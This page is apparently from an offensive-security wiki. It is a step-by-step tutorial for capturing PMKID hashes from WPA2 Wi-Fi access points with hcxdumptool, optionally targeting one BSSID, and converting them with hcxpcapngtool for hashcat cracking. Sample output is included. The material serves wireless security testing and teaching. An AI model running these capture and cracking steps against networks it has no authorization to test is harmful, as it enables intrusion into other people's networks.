# PMKID Capture with hcxdumptool and hcxtools

> Capture PMKID hashes from WPA/WPA2 networks without de-authentication using hcxdumptool, then convert and crack with hcxtools and hashcat.

- **URL:** https://hackindex.io/platforms/wireless/enumeration/pmkid-capture-with-hcxdumptool
- **Path:** Wireless > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/wireless/enumeration.md)
- **Published:** 2026-03-17
- **Updated:** 2026-07-11

PMKID capture with hcxdumptool is the fastest way to attack WPA2. First, the AP builds a PMKID from the PMK, the AP MAC, and the client MAC. Then it puts that PMKID in the first EAPOL frame. So you grab it from the AP alone. You never wait for a client. Also, you never force one to connect. In fact, hcxdumptool sends one request and reads the reply.

However, this works only on WPA2 Personal. WPA3 SAE does not expose PMKIDs this way. So WPA3 resists this path.

![](https://hackindex.io/storage/mtxVFKbqdre6vrnOAz7Kq9aRJk5Nob8OF7Gf78X7.jpg)

## **Install hcxdumptool and hcxtools**

First, grab both tools from the Kali repos:

```bash
apt update && apt install -y hcxdumptool hcxtools
```

## **Stop Interfering Services**

hcxdumptool drives the interface on its own, so no other process may hold it. Kill these before starting:

- NetworkManager
- wpa_supplicant

```bash
systemctl stop NetworkManager wpa_supplicant
```

## **PMKID Capture with hcxdumptool**

Next, hcxdumptool sets monitor mode itself. So pass the interface in managed mode:

```bash
hcxdumptool -i wlan0 -o capture.pcapng
```

hcxdumptool actively solicits PMKIDs from nearby APs by default: no extra flag is needed. Run it for at least 60 seconds to cover every channel and give APs time to respond.

## **Target a Single AP**

Also, you can limit the capture to one AP. First, write the BSSID to a filter file. Then drop the colons:

```bash
echo AABBCCDDEEFF > filter.txt
hcxdumptool -i wlan0 -o capture.pcapng --filterlist_ap=filter.txt --filtermode=2
```

The `--filtermode=2` flag locks hcxdumptool to your list. So it cuts noise. Also, it avoids poking other APs.

## **Convert the Capture for Hashcat**

Next, hcxtools turns the pcapng into hashcat 22000 format. So one type holds both PMKIDs and handshakes:

```bash
hcxpcapngtool -o hash.hc22000 capture.pcapng
# summary capture file:
#   packets captured:        847
#   PMKID (zeroed, usable):   3
#   EAPOL (pairs, usable):    1
```

The summary shows two useful counts:

- **PMKID (zeroed, usable).** The number of crackable PMKIDs.
- **EAPOL (pairs, usable).** Any full handshakes in the capture.

Both land in one file. Also, a single hashcat command cracks both. However, a zero count means no luck. Then the AP may block PMKID roaming. So fall back to the [4-way handshake capture](https://hackindex.io/platforms/wireless/exploitation/wpa-handshake-capture)instead.

## **Verify the Hash File**

```bash
cat hash.hc22000
# WPA*01*4d4fe7aac3a2cecab195321ccd5542...*aabbccddeeff*...*TargetNetwork*
```

- `WPA*01*` lines hold PMKIDs.
- `WPA*02*` lines hold EAPOL pairs.

Hashcat cracks both with `-m 22000`. The SSID sits in the line as plaintext, so you confirm the right network at a glance.

## **Check the Capture Metadata**

Also, hcxpcapngtool prints a full summary of the capture:

```bash
hcxpcapngtool -I capture.pcapng
```

The summary lists every AP it saw. For each one, it shows the PMKID or handshake and the SSID. So use it to confirm coverage first. Then move to cracking. Next, see the [monitor mode setup](https://hackindex.io/platforms/wireless/setup/monitor-mode-setup) for prerequisites, and [WPA Cracking](https://hackindex.io/platforms/wireless/exploitation/wpa-cracking) for cracking captured hashes.

Related

## References

- [ZerBea/hcxdumptool on GitHub](https://github.com/ZerBea/hcxdumptool) - hcxdumptool source, flags, and filter file format reference
- [ZerBea/hcxtools on GitHub](https://github.com/ZerBea/hcxtools) - hcxpcapngtool conversion options and hash format reference